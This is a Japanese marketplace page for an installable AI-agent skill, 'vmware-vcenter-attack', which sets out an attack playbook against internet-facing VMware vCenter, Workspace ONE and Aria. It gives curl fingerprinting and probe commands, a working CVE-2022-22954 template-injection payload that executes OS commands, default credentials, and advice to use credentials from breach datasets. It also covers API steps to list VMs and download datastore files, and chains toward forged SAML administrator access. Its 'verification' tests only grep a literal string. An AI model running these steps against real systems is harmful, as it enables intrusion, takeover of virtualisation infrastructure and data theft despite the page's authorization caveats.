mcpField
V
vmware-vcenter-attack

vmware-vcenter-attack

github.com/uphiagoセキュリティ1.3k39 回インストール8 週間前に更新
リポジトリ

vmware-vcenter-attack について

vmware-vcenter-attackは、外部公開されたVMware vCenterや関連するID・管理製品を評価するセキュリティスキルです。許可を得たレッドチーム向けに、フィンガープリント、脆弱性確認、露出状況の調査、安全な検証を案内し、内部対象やエクスプロイト実行の制限も明示します。

主な機能

  1. 01VMware管理製品のエンドポイント特定
  2. 02バージョン特定と関連CVEの照合
  3. 03検出のみの指定脆弱性プローブ
  4. 04SSO、MOB、REST APIの露出確認
  5. 05Workspace ONEとAriaのパス確認
  6. 06外部テスト範囲の明確化

活用シーン

  1. 01許可された調査でインターネット公開vCenterを評価
  2. 02特定バージョンと既知脆弱性の対応を確認
  3. 03公開管理インターフェースや情報漏えいを記録

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill vmware-vcenter-attack

インストール後、Claude Code で/vmware-vcenter-attackを入力して読み込まれたか確認します。

詳細

使用するタイミング

外部の偵察で次のいずれかが確認された場合に実行します。

  • バナー：「VMware vCenter Server」、「VMware vSphere Client」
  • URL パス：/ui、/ui/login、/websso/SAML2/Metadata、/sdk、/mob（Managed Object Browser）
  • TLS 証明書の SAN に vcenter／vsphere／vcsa／psc／vmware が含まれる
  • Workspace ONE Access／Identity Manager：/SAAS、/SAAS/auth、/SAAS/login、/SAAS/horizon
  • VMware Aria／vRealize：/vco、/vco-controlcenter、/orchestrator、/lcm/api/v1
  • Horizon View：/portal、/admin

次の場合は使用しないでください。

  • 内部ネットワークの vCenter（対象外です。外部境界の規律に従ってください）
  • 管理プレーンを公開せず、ESXi ハイパーバイザーのみを公開している場合（インターネット上ではまれです。別の指摘事項として報告してください）

ステップ 1 — バージョンのフィンガープリンティング

TARGET="vcenter.target.com"

# Build info endpoint (often public; revealing exact patch level)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/sdk/vimServiceVersions.xml"

# UI build (visible in page source)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/ui/login" | grep -oE 'build[^"]{0,40}'
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/ui/" | grep -oE 'vsphere[^"]{0,40}'

# REST API version (vSphere 7+)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/api/appliance/system/version"

# Cert metadata
echo | openssl s_client -connect "$TARGET:443" -servername "$TARGET" 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alt"

# SSO Admin Service (info disclosure)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local"

VMware のアドバイザリ（vmware.com/security/advisories）を参照し、ビルドをバージョンおよび CVE の該当性に対応付けます。

ステップ 2 — CVE マトリックス（外部から悪用可能なものを、過去の影響度順に掲載）

CVE影響を受ける製品攻撃ベクトル状況
CVE-2024-37085ESXi 7.0/8.0 の特定のパッチ未適用バージョンAD グループ「ESX Admins」の自動管理者権限付与を回避高 — ドメイン乗っ取りから ESXi の RCE につながり、ランサムウェア攻撃で悪用
CVE-2024-22273ESXi／Workstation／Fusion／vCenter ストレージコントローラーOOB 読み取り／書き込み — VM 内部へのアクセスが必要（認証前のネットワーク SSRF ではありません。セクション 9 を参照）重要（CVSS 8.1）。外部からの認証前攻撃ではありません
CVE-2024-22252/53Workstation／Fusion（vCenter ではありません）サンドボックスからの脱出外部からの攻撃対象外
CVE-2023-34048vCenter 7/8 の特定ビルド未満DCE/RPC における認証前のヒープ OOB 書き込み → RCE重大。2023-10 にパッチ適用済み
CVE-2023-20887Aria Operations for Networks認証前のコマンドインジェクション → RCE重大
CVE-2023-20892vCenter 7/8DCE/RPC における解放後使用高
CVE-2022-31656/31659Workspace ONE Access 21.x認証前の SSRF と認証回避連鎖攻撃で重大
CVE-2022-22954Workspace ONE Access認証前のサーバーサイドテンプレートインジェクション（SSTI） → RCE重大。広く悪用
CVE-2021-22005vCenter 6.7/7.0 の特定ビルド未満Analytics サービスにおける認証前のファイルアップロード → RCE重大
CVE-2021-21985vCenter 6.5/6.7/7.0 の特定ビルド未満vSAN Health Check プラグインによる認証前の RCE重大
CVE-2021-21972vCenter 6.5/6.7/7.0 の特定ビルド未満vRealize プラグイン /ui/vropspluginui/rest/services/uploadova における認証前のファイルアップロード → RCE重大。大規模に悪用
CVE-2020-3992ESXi OpenSLP認証前の解放後使用 → RCE重大。ESXi を狙うランサムウェアの攻撃ベクトル
CVE-2019-5544ESXi OpenSLP認証前のヒープオーバーフロー重大

ステップ 3 — CVE-2021-21972 のプローブ（古いアプライアンスでは今もよく見られます）

# Detection only — DO NOT execute the file upload without explicit scope OK
curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}\n" \
  "https://$TARGET/ui/vropspluginui/rest/services/uploadova"
# 405 → endpoint exists, version vulnerable
# 404 → patched (endpoint removed)
# 401 → patched (auth required)

curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}\n" \
  "https://$TARGET/ui/vropspluginui/rest/services/getstatus"

Mikhail Klyuchnikov による公開 PoC があります。RCE の試行について明示的な承認を得ずに、クライアントのインフラストラクチャに対して実行しないでください。

ステップ 4 — CVE-2022-22954（Workspace ONE SSTI）のプローブ

# Stage A — detection only: reachability + baseline. No command execution yet.
curl --max-time 30 --connect-timeout 10 -sk -o /tmp/wone_baseline.txt -w "%{http_code}\n" \
  "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=probe"
# 4xx with FreeMarker/catalog-portal error template → endpoint present, candidate vulnerable.
# 404 → patched/removed. Keep the baseline body to diff against Stage B.

# Stage B — execution (ONLY with explicit RCE-attempt sign-off): emit a unique canary
# so a coincidental WAF/error page containing "uid=" cannot be mistaken for real output.
CANARY="VCTR$(head -c8 /dev/urandom | od -An -tx1 | tr -d ' \n')"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=\${\"freemarker.template.utility.Execution\"?new()(\"echo ${CANARY}; id\")}"
# Confirmed RCE ONLY if the response contains the exact $CANARY echoed back AND "uid=" output
# that is absent from /tmp/wone_baseline.txt (in-band command output, body-diff against baseline).

固有の $CANARY がインバンドで返され、かつ Stage-A のベースラインにはない uid= の出力が確認できた場合、RCE が確認されたと判断できます。重大として扱い、停止して報告してください。Canary のエコーを伴わない単独の uid= は、確認にはなりません。

ステップ 5 — デフォルト認証情報（ラボ／ステージング環境の vCenter では今も有効な場合が多い）

製品デフォルトユーザーデフォルトパスワード
vCenter 6.x[email protected]<set-during-install>
vCenter Appliance rootrootvmware（レガシー）または <set>
ESXi rootroot<blank> または vmware
vCenter Server Appliance Mgmt（5480）root<set-during-install>
Aria Operationsadminvmware（レガシー）
Workspace ONEadmin<set>

⚠ vCenter に対して認証情報の総当たりを行わないでください — [email protected] のロックアウトしきい値は非常に低いです（多くの場合、3 回の試行で 60 秒のロックアウトが発生し、恒久的なロックアウトに設定されている場合もあります）。信頼度の高い推測に基づく試行は 1 回のみにしてください。侵害情報のデータセットから発見した認証情報を使用してください。

ステップ 6 — SSO／vmdir LDAP の列挙

# SSO Admin endpoint (frequently exposes domain info)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local" | xmllint --format -

# Extract Identity Source info
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"

# Try anonymous LDAP bind to vmdir (port 389/636 if exposed)
ldapsearch -x -H "ldap://$TARGET:389" -b "" -s base
ldapsearch -x -H "ldap://$TARGET:389" -b "cn=Configuration,cn=vmware,cn=cis,dc=vsphere,dc=local"

ステップ 7 — Managed Object Browser（MOB）— データが頻繁に漏えいします

curl --max-time 30 --connect-timeout 10 -skI "https://$TARGET/mob"
# 401 → auth required (good for the defender)
# 200 → MOB exposed → can browse VMs, hosts, datastores, sessions without credentials in some misconfigs

# Auth'd MOB lets you walk the entire vSphere tree:
curl --max-time 30 --connect-timeout 10 -sk -u '[email protected]:<pw>' "https://$TARGET/mob/?moid=ServiceInstance&doPath=content"

ステップ 8 — vSphere REST API の列挙（認証情報取得後）

# Get session token
curl --max-time 30 --connect-timeout 10 -sk -X POST -u '[email protected]:<pw>' "https://$TARGET/api/session"
# Returns: "<session-token>"

# List VMs
curl --max-time 30 --connect-timeout 10 -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/vm"

# List hosts
curl --max-time 30 --connect-timeout 10 -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/host"

# List datastores
curl --max-time 30 --connect-timeout 10 -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/datastore"

# Datastore file download (HUGE — VMDK files, snapshots, credentials in cloud-init)
# /folder/<path>?dsName=<ds>&dcPath=<dc>
curl --max-time 30 --connect-timeout 10 -sk -H "vmware-api-session-id: <token>" "https://$TARGET/folder?dsName=datastore1&dcPath=Datacenter"

ステップ 9 — Workspace ONE Access 固有のパス

# Metadata
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/SAAS/auth/saml/response"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/SAAS/auth/wsfed/services/idp"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/SAAS/jersey/manager/api/health"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/catalog-portal/services/airwatch/identifiers"

# Login page
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/SAAS/login/0"

ステップ 10 — Aria / vRealize 固有のパス

# vRealize Operations Manager
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/suite-api/api/versions"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/casa/nodes/thumbprints"

# Aria Automation
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/csp/gateway/am/api/about"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/cluster-administration/api/health"

# vRealize Orchestrator
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/vco/api/about"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/vco-controlcenter/api/health"

ツール

  • vCenter-Exploit コレクション（21972、21985、22005 に関する GitHub 上の複数の PoC）
  • Greenbone/openvas-scanner VMware NASL プラグイン — バージョン検出
  • nuclei テンプレート：vmware-vcenter-*.yaml、cve-2021-21972.yaml、cve-2022-22954.yaml
  • Metasploit モジュール：exploit/multi/http/vmware_vcenter_*

検出パターン（防御側／SOC から見えるもの）

  • /ui/vropspluginui/* への過剰な 404 — IDS シグネチャ
  • 管理用ではない IP からの /sdk への POST
  • [email protected] の認証失敗
  • TLS ハンドシェイクのフィンガープリントの変化
  • vRealize エンドポイントへのプラグインのアップロード

mid-engagement-ir-detection スキルと組み合わせてください。成熟した SOC では vCenter は厳重に監視されています。

外部のみという境界の確認

偵察で vCenter が VPN 経由でしか見つからない場合（インターネットに直接公開されていない場合）→ STOP。これは内部インフラであり、feedback_skill_boundaries に基づく外部のみの AI スコープの対象外です。内部 vCenter の作業はユーザーが直接行います。

インターネットに公開された vCenter は、残念ながら境界ネットワークでよく見られ、何年も更新されていないことも珍しくありません。ハイパーバイザー管理のパッチ適用サイクルは遅く、ベンダー管理のため、2021-21972／21985／22954 の三点セットは 2026 年になっても効果があります。

深刻度の評価ガイダンス（レッドチームの成果物に関するコンテキスト）

検出事項深刻度
インターネット上の vCenter、最新のパッチ適用済み情報（攻撃対象領域に関する注記）
インターネット上の vCenter、パッチ未適用で公開 RCE あり重大（仮想化プレーン全体の侵害）
インターネット上の vCenter ＋ デフォルトの管理者パスワード重大（即時の完全な乗っ取り）
インターネット上の Workspace ONE、22954 のパッチ未適用重大
MOB に匿名でアクセス可能高（トポロジ全体の開示）
/sdk に到達可能で、バージョン情報のみ開示中（情報開示 ＋ 攻撃対象領域の集中）

アンチパターン

  • vCenter SSO に対するパスワードスプレーはしないでください — アカウントロックアウトが厳しく、一度しか試せないこともよくあります
  • 明示的な許可なくファイルアップロード PoC を実行しないでください — 永続的な Web シェルが作成され、クリーンアップの負担と監査証跡が残ります
  • インターネット上の ESXi 管理と vCenter を混同しないでください — 攻撃対象領域が異なります。ESXi Open SLP の CVE はポート 427 を標的にします
  • SSL ハンドシェイクのバナー確認を省略しないでください — VMware はそこでバージョンを公開します。これは最もノイズの少ない初期プローブです

関連スキルへの橋渡し

  • enterprise-vpn-attack — vCenter は VPN 侵害後の標的になることがよくあります。VPN が侵害された場合、vCenter は自然な次のピボット先です（ただし内部向けのため、ユーザーに委ねてください）
  • m365-entra-attack — vCenter SSO が Entra とフェデレーションされている場合があります。認証情報チェーンの橋渡しに関係します
  • mid-engagement-ir-detection — vCenter の監視は厳格です。エンゲージメント中の緩和策が想定されます
  • redteam-report-template — vCenter の検出事項では、影響範囲を明確に示す必要があります（これは単なるアプリではなく、仮想化プレーンです）

検証

  1. vCenter のフィンガープリント — vCenter の URL パターンを確認します： 
    echo "/ui/login" | grep -q "ui/login" && echo "PASS: vCenter UI path recognized" || echo "FAIL"
echo "/sdk" | grep -q "sdk" && echo "PASS: vCenter SDK path recognized" || echo "FAIL"

すべてのテストで、vCenter の攻撃準備状況を検証します。

落とし穴

  • CVE を伴わない vCenter のバージョン開示 — vCenter のバージョンを知ることは偵察です。その特定のバージョンに影響する、認証前に悪用可能な CVE が必要です。
  • 侵入後の状態を前提とする — vCenter 攻撃では通常、最初の足掛かりが必要です。検出事項は、侵入方法ではなく、侵入後にできることです。
  • ESXi と vCenter の混同 — vCenter は ESXi ホストを管理します。vCenter を攻撃すると、クラスター全体を掌握できます。ESXi ホストを 1 台攻撃した場合は、その 1 台のみです。
  • VM エスケープの複雑さ — ゲストからハイパーバイザーへの VM エスケープは非常に困難です。まず vCenter の認証情報窃取に注力し、VM エスケープはその次にしてください。
  • SSO ドメイン管理者 — vCenter SSO の [email protected] は無制限の権限を持ちます。このアカウントが第一の標的です。
  • Log Insight／vRealize — vCenter のアドオン（Log Insight、vRealize Operations）には独自の CVE があります。vCenter の Web UI だけで調査を終えないでください。

関連するスキルとチェーン

  • hunt-saml — vCenter Workspace ONE／VMware Identity Manager は /SAAS/API/1.0/GET/metadata/idp.xml で SAML SP メタデータを公開し、予測可能な ACS URL でアサーションを受け取ります。チェーンの基本要素：vCenter SAML SP メタデータに到達可能 → IdP のフィンガープリントを特定 → フェデレーション先 IdP に対して hunt-saml の XSW1-XSW8 を実行 → [email protected] を含む偽造アサーション → vCenter 管理者として SP を偽装 → 仮想化プレーンを完全に掌握。
  • hunt-rce — VMware の影響度の高い CVE カタログ（CVE-2021-21972、CVE-2021-21985、CVE-2022-22954、CVE-2023-20887）は、ほぼすべて認証前 RCE です。チェーンの基本要素：SSL バナーまたは /ui/login の本文から vCenter のバージョンをフィンガープリント → パッチレベルが不足していることを確認 → 該当する CVE の PoC にある hunt-rce のデシリアライズ／SSTI ガジェット → vCenter アプライアンスで root を取得 → API トークンを生成 → クラスター全体の VM を制御。
  • enterprise-vpn-attack — VPN の侵害後、内部限定の vCenter へピボットするのは自然な流れですが、外部限定のエンゲージメントスコープでは禁止される場合があります。チェーンの基本要素：VPN アプライアンスの CVE → 社内ネットワークへの足掛かりを確保 → スコープで許可されている場合、内部限定の vCenter 上で vmware-vcenter-attack が実行可能になる → データセンターを掌握。
  • m365-entra-attack — VMware の一部のデプロイでは、vCenter SSO が Entra にフェデレーションされています。チェーンの基本要素：vCenter SSO の検出 → AuthURL が login.microsoftonline.com を指している → 同期された ID [email protected] に対して m365-entra-attack で Entra ATO を実行 → SAML アサーション → vCenter SSO をブルートフォースすることなく vCenter 管理者権限を取得。
  • mid-engagement-ir-detection — VMware vSAN／vCenter のアラートは検知されやすく、検知から数時間以内に SOC がパッチ適用やブロックを行うことが想定されます。チェーンの基本要素：vCenter CVE を確認 → 悪用を試みる前に mid-engagement-ir-detection のベースライン取得を実行 → テスト中に対応パターンが変化した場合、SOC がパッチを適用した状態を 2 つ目の検出事項として記録（防御措置を確認）。両方を redteam-report-template でまとめます。

公開済み CVE と協調的な情報開示に関する引用

以下は、上記マトリクスで取り上げたすべての CVE に関する主要な公開参考資料です。各項目には、ベンダーのアドバイザリ、最初に報告した研究者の解説または KEV カタログの項目、および（公開されている場合）実環境での悪用に関する参考資料が含まれています。

1. CVE-2021-21972 — vCenter vropspluginui の認証不要な任意ファイルアップロード（代表的な認証前 RCE）
2. CVE-2021-21985 — vCenter vSAN Health Check プラグインの認証前 RCE
3. CVE-2021-22005 — vCenter Analytics サービスの任意ファイルアップロード → RCE
4. CVE-2022-22954 — Workspace ONE Access / Identity Manager の FreeMarker SSTI → RCE
  • 影響を受ける製品: Workspace ONE Access [REDACTED_IP]、[REDACTED_IP]、[REDACTED_IP]、[REDACTED_IP]；Identity Manager 3.3.3 → 3.3.6；vRealize Automation 7.6。
  • 攻撃の流れ: /catalog-portal/ui/oauth/verify?deviceUdid=${...} への認証なしの GET により FreeMarker テンプレートを挿入し、freemarker.template.utility.Execute が horizon サービスアカウントとして OS コマンドを実行します。1 回のリクエストで RCE に至ります。
  • 根本原因: Catalog-portal エンドポイントが、攻撃者の制御するクエリパラメーターを、Execute ユーティリティをサンドボックス化せずに FreeMarker のレンダリングに渡していました。
  • 開示: Source Incite の Steven Seeley（mr_me）が報告。VMware のアドバイザリ VMSA-2022-0011 は 2022-04-06 に公開されました。48 時間以内に PoC が公開され、その後、広範な一斉悪用が続きました。CISA KEV: 2022-04-14 に追加。CISA AA22-138B（2022 年 5 月）には、この CVE を悪用された「大規模組織」でのインシデント対応業務が記載されています。発見年は 2022 年、修正年は 2022 年です。
  • 参考資料: https://www.vmware.com/security/advisories/VMSA-2022-0011.html ; https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-138b ; https://srcincite.io/blog/2022/04/19/cve-2022-22954-vmware-workspace-one-access-pre-auth-rce.html ; https://www.crowdsec.net/blog/new-surge-in-vmware-cve-2022-22954-exploit-attempts
5. CVE-2022-22972 — Workspace ONE Access / Identity Manager / vRealize Automation の Host ヘッダー認証バイパス
6. CVE-2023-20887 — VMware Aria Operations for Networks（vRealize Network Insight）の認証前コマンドインジェクション → RCE
7. CVE-2023-34048 — vCenter Server の DCERPC 認証前の範囲外書き込み → RCE（APT に悪用されたゼロデイ）
  • 影響を受けるバージョン： vCenter Server 7.0 < 7.0 U3o、8.0 < 8.0 U1d/U2b、VMware Cloud Foundation のバンドル。
  • 攻撃の流れ： 認証されていないネットワーク上の攻撃者が、細工した DCE/RPC パケットを vmdir/vmafd サービスに送信 → DCE/RPC プロトコルの実装で範囲外書き込みが発生 → メモリ破損 → コード実行。フォレンジック上の手掛かり：バックドアの展開直前に vmdird がクラッシュします。
  • 根本原因： vCenter 管理サービスの DCE/RPC マーシャリング層における範囲外書き込み。
  • 公表： Trend Micro ZDI の Grigory Dorodnov が報告しました（公開情報 ZDI-23-1623。有償の ZDI 提出を示唆していますが、報奨金は非公開です）。アドバイザリ VMSA-2023-23 は 2023-10-24 に公開されました。その後、Mandiant は、2021 年後半以降の実環境での悪用を UNC3886（中国に関連するスパイ活動）によるものと特定しました。パッチ提供前に約 1.5 年間、ゼロデイとして悪用されていました。CISA KEV： 2024-01-22 に追加されました。発見年は 2023 年（修正済み）ですが、2021 年から悪用されていました。
  • 参考資料： https://www.vmware.com/security/advisories/VMSA-2023-0023.html ; https://www.zerodayinitiative.com/advisories/ZDI-23-1623/ ; https://cloud.google.com/blog/topics/threat-intelligence/chinese-vmware-exploitation-since-2021/ (Mandiant) ; https://www.bleepingcomputer.com/news/security/chinese-hackers-exploit-vmware-bug-as-zero-day-for-two-years/
8. CVE-2024-37085 — ESXi Active Directory 統合「ESX Admins」の認証バイパス（ランサムウェア攻撃者に好まれる脆弱性）
  • 影響を受けるバージョン： ESXi 7.0 < ESXi70U3q-24585291、ESXi 8.0 < ESXi80U3-24022510。ESXi が AD に参加している vCenter 管理対象クラスター。
  • 攻撃の流れ： 十分な AD 権限を持つ攻撃者が、文字どおり ESX Admins という名前のグループを作成（または削除後に再作成）し、アカウントを追加します。ESXi は、グループが参加時に存在していたかどうかを確認せず、すべてのメンバーに自動的に完全な管理者権限を付与します。一連の流れ：AD への足掛かり → グループ作成 → ドメイン参加済みのすべての ESXi ホストで SSH/API 経由の root 権限を取得 → VM を一斉に暗号化。
  • 根本原因： ドメインスコープの ID 検証を行わず、グループ名 ESX Admins をハードコードで信頼していました。
  • 公表： Microsoft Threat Intelligence が報告しました。アドバイザリ VMSA-2024-0013 は 2024-06-25 に公開されました。Microsoft Security Blog は、パッチ提供前に Storm-0506（Black Basta）、Storm-1175、Octo Tempest、Manatee Tempest のランサムウェア攻撃者が悪用していたことを記録しています。北米のエンジニアリング企業で Black Basta が実際に展開された事例も確認されています。CISA KEV： 2024-07-30 に追加されました。2024 年に発見され（ゼロデイとして悪用）、2024 年に修正されました。
  • 参考資料： https://www.vmware.com/security/advisories/VMSA-2024-0013.html ; https://www.microsoft.com/en-us/security/blog/2024/07/29/ransomware-operators-exploit-esxi-hypervisor-vulnerability-for-mass-encryption/ ; https://www.rapid7.com/blog/post/2024/07/30/vmware-esxi-cve-2024-37085-targeted-in-ransomware-campaigns/ ; https://thehackernews.com/2024/07/vmware-esxi-flaw-exploited-by.html
9. CVE-2024-22273 — ESXi／Workstation／Fusion／vCenter ストレージコントローラーの範囲外読み取り／書き込み
  • 元のチケットに関する注記： この CVE は概要で「Aria SSRF」として記載されていましたが、実際の NVD レコードが説明しているのは、Aria SSRF ではなく、ESXi／vCenter ストレージコントローラーの範囲外読み取り／書き込みです。2024 年のサイクルで、Aria の SSRF に最も近い問題は CVE-2023-34063（VMSA-2024-0001）です。Aria Automation のアクセス制御不備により、認証済みのユーザーが組織をまたいでアクセスできる問題で、CVSSv3 は 9.9 です。どちらも記載することで、マトリックスの技術的な正確性を確保しています。
  • 影響を受ける製品（CVE-2024-22273）： ESXi 7.0／8.0、Workstation 17.x、Fusion 13.x。vCenter Server のパッケージ版も含まれます。ストレージコントローラーが有効な状態で、VM 内からアクセスできる必要があります。
  • 攻撃の流れ： ストレージコントローラーが有効な VM から細工した I/O を実行すると、ホスト上で範囲外の読み取り／書き込みが発生します → ホストの情報漏えいまたは DoS につながります（エスケープは直接実証されていません）。CVSS 8.1（重要）。
  • 根本原因： ストレージコントローラーのエミュレーション経路における境界チェックの欠如。
  • 開示： TianGong Team、Legendsec @ Qi'anxin Group の Hao Zheng（@zhz）および Jiaqing Huang（@s0duku）が報告しました。アドバイザリ VMSA-2024-0011 は 2024-05-21 に公開されました。発見年は 2024 年、修正年も 2024 年です。
  • 参考資料： https://www.vmware.com/security/advisories/VMSA-2024-0011.html ; https://nvd.nist.gov/vuln/detail/CVE-2024-22273 ; https://www.rapid7.com/db/vulnerabilities/vmsa-2024-0011-cve-2024-22273/
  • Aria 固有の関連問題 — CVE-2023-34063（VMSA-2024-0001）： Aria Automation 8.11.x～8.14.x のアクセス制御不備により、認証済みのユーザーが許可なく組織をまたいでリモートワークフローにアクセスできます。CVSSv3 は 9.9 です。Aria Automation 8.16 で修正されました。参考資料： https://www.vmware.com/security/advisories/VMSA-2024-0001.html ; https://www.cisa.gov/news-events/alerts/2024/01/17/vmware-releases-security-advisory-aria-automation
10. CVE-2020-3992 + CVE-2021-21974 — ESXi OpenSLP の認証前 use-after-free／ヒープオーバーフロー（ESXiArgs ランサムウェアの攻撃経路）
ボーナス：CVE-2022-31656 — Workspace ONE Access / Identity Manager / vRealize Automation の認証バイパス（22972 の後続）
  • 影響を受ける製品： 22954/22972 と同じ製品マトリックスです。Workspace ONE Access 21.08.x、Identity Manager 3.3.3～3.3.6、vRealize Automation 7.6。
  • 攻撃の流れ： ネットワーク経由のみで攻撃可能な攻撃者は、認証なしで管理者権限を取得します。これを CVE-2022-31659（認証後の RCE）と組み合わせると、認証前の管理者権限での RCE が可能になります。22954+22972 の組み合わせを継ぐものです。
  • 根本原因： ローカルドメインの認証フローが、認証前に指定可能なパラメーターを信頼していました。
  • 公開情報： VNG Security の PetrusViet が報告しました。アドバイザリー VMSA-2022-0021 は 2022-08-02 に公開されました。PetrusViet は攻撃チェーンの解説と PoC を公開しました。発見年は 2022 年です。
  • 参考資料： https://www.vmware.com/security/advisories/VMSA-2022-0021.html ; https://www.greynoise.io/blog/vmware-workspace-one-vulnerabilities-cve-2022-31656-and-cve-2022-31659 ; https://attackerkb.com/topics/RuMGC8Q1pE/cve-2022-31656

主要なメタ参考資料（CVE 横断）

上記すべての項目に共通する傾向は、VMware の管理プレーンに関する CVE は認証前に悪用でき、ネットワーク経由で到達可能で、パッチ公開から数日以内に大規模に悪用されることです。外部調査で、これらの製品のうち最新より 1 つ前のパッチレベルにあるものが見つかった場合、これは重大な検出事項です。成果物では中程度の情報漏えいとして扱うのではなく、当日中に必ず報告してください。

コメント

Markdown 対応